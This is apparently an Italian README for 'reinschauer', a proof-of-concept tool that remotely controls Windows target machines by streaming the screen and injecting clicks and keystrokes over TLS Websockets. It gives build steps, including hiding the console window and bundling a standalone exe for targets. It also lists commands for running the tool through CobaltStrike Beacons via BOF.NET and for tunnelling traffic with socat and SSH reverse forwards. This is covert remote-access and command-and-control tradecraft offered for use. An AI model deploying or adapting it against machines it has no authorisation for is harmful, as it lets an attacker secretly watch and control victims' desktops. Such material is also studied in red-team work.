
è molto buono

Una PoC per controllare da remoto macchine Windows tramite Websockets. Consulta il mio blog per un writeup.


reinschauer converte le bitmap grezze in JPEG e comprime i dati risultanti prima di inviarli attraverso la rete per ridurre la dimensione dei frame.
server per generare i file TLS del server oppure usarne di tuoi.reinschauer-server -h per le opzioni disponibili.+----------------------------------------------------------------------------------------+
| |
| |
| +----------------------------------------------------+ |
| |#1: Type (Binary or Text) | |
| | Binary: JPG Frame | |
| | | |
| |#2: Text | |
| | ELO (Ping) | |
| | FPS <FPS Count> | |
| | SCL <Scaler Count> | |
| | QUL <JPG Quality> | |
| | LCL X Y (Left Click + Coordinates) | |
| | RCL X Y | |
| | KEY <Char> | xxxxxx |
| xxxxx <--+----------------------------------------------------+--> xxxx xx |
| x xx Websockets via TLS xx x |
| x xxxxxx xxxxxxxxx |
| xxx x xx xx x |
| xxxxxxxx xxxxx xxxxxx |
| x xxxxx |
| xx xx |
| x xx xxx |
| xx xx x xx |
| x xx xx xxx |
| x xx x xx |
| x x xx x |
+----------------------------------------------------------------------------------------+
Come si compila?
>=1.18sudo apt -y install libx11-dev libxcursor-dev xorg-dev libgl1-mesa-dev$ cd client && GOOS=windows GOARCH=amd64 go build
$ cd server && GOOS=linux GOARCH=amd64 go build
Ho incluso in questo repo una versione precompilata e standalone della variante dotnet. Se vuoi compilarla da solo, usa il file di progetto di Visual Studio per compilare la variante Release x64. Se non avviene automaticamente, scarica i pacchetti NuGet necessari per il progetto tramite Visual Studio. Il tuo sistema target molto probabilmente non ha nemmeno questi pacchetti installati, quindi le DLL potrebbero mancare quando si esegue l'exe risultante sul target. Per aggirare il problema, questo progetto invoca automaticamente ILMerge.exe per raggruppare l'exe risultante insieme alle librerie necessarie. Quindi, usa il file generato chiamato reinschauer-dotnet-standalone.exe sui target.
Potresti dover fare
go getdi alcune cose prima. Usa-ldflags -H=windowsguiper disabilitare la finestra della console.
Chi è il client/server?
Il
clientviene eseguito sulla macchina target (Windows). Il componenteserverviene eseguito sulla macchina del tester (Linux). Ascolta su0.0.0.0:6969di default. Sia il client Golang che quello C# sono compatibili con il server.
Questa è una HVNC / Desktop Nascosto?
No. Usa lo stesso Desktop dell'utente.
Alcuni tasti e combinazioni di tasti non funzionano, pls fix
So che
|,@e§potrebbero non funzionare al momento, almeno sulla mia tastiera tedesca schifosa. Pls Fix.
Il Client usa troppo tempo della CPU
Usare un valore FPS più basso potrebbe funzionare.
Non ho una connessione diretta tra client e server
Puoi usare un Beacon di CobaltStrike per tunnelare il traffico.
Non ho Cobaltstrike!
Usa un redirector
socatcome:
socat TCP4-LISTEN:1337,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>
e avvia il client con i parametri richiesti oppure impostali come hardcoded.
Per prima cosa, configura BOF.NET secondo il manuale. Inoltre, carica l'exe standalone con bofnet_load <Percorso all'Exe>. Poi decidi come usare Reinschauer:
sleep 0.rportfwd_local 6969 127.0.0.1 6969.bofnet_job reinschauer_dotnet.BofStuff. Questo fa sì che Reinschauer si connetta automaticamente a 127.0.0.1:6969 su 127.0.0.1 della macchina target. Disattiva anche TLS, poiché usa comunque la connessione Beacon.bofnet_jobkill <ID Job>.bofnet_job reinschauer_dotnet.BofStuff <IP Server> <Porta Server> true. Il parametro booleano abilita l'uso di TLS.bofnet_jobkill <ID Job>.Quindi, usa SSH e la funzionalità GatewayPorts: aggiungi GatewayPorts: clientspecified a sshd_config e riavvia il server SSH. Poi, ssh -R '0.0.0.0:8080:localhost:6969'' [...] renderà disponibile la tua porta locale 6969 su 0.0.0.0:8080. Fai attenzione :)
In alternativa, configura un redirector socat sul server:
socat TCP4-LISTEN:<Server Port>,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>